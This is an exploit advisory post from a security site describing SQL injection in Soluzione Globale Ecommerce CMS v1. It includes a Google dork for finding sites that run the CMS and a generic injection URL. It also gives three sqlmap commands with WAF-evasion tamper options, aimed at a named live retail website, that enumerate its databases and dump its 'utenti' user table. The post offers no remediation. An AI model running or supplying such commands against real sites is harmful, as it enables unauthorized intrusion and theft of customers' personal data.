Soluzione Globale Ecommerce CMS 1 SQL Injection

2020.03.27

Credit: **thelastvvv (https://cxsecurity.com/author/thelastvvv/1/)**

Risk: **Medium** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**

Dork: (See Dorks List) intext:" Soluzione Globale s.r.l.s. " +inurl:/.php?id=

(https://cxsecurity.com/dorks/)

```
# Exploit Title:  Soluzione Globale Ecommerce cms v1 SQL Injection Vulnerability
# Google Dork: intext:"  Soluzione Globale s.r.l.s.  " +inurl:/.php?id=
# Date: 2020-03-24
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.soluzioneglobale.com/
# Version: v1
# Tested on: Ubuntu

------------------------------------------------------------

PoC 1:
the attacker once locate the sql  vulnerability can perform an automated process to exploit the secruity in the webapp , in this case usi
ng sqlmap in 2 steps only
*Note: once you get the db name you can skip the other steps and directly get "utenti" data (you can use command 1 and 3 ..below)

Payload(s)

http://www.site.com/offerta.php?id=[]'[SQL INJECTION VULNERABILITY!]

SQLMAP Payload(s):

sqlmap -u https://www.habitat-arredamenti.it/offerta.php?id=722 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2com
ment" --dbs

sqlmap -u https://www.habitat-arredamenti.it/offerta.php?id=722 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2com
ment" -D Sql1125953_1 --tables

sqlmap -u https://www.habitat-arredamenti.it/offerta.php?id=722 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2com
ment" --dump -D Sql1125953_1  -T utenti



Greetings:
*indoushka*
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020030150)

Tw | Lul

Vote for this issue: 4 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)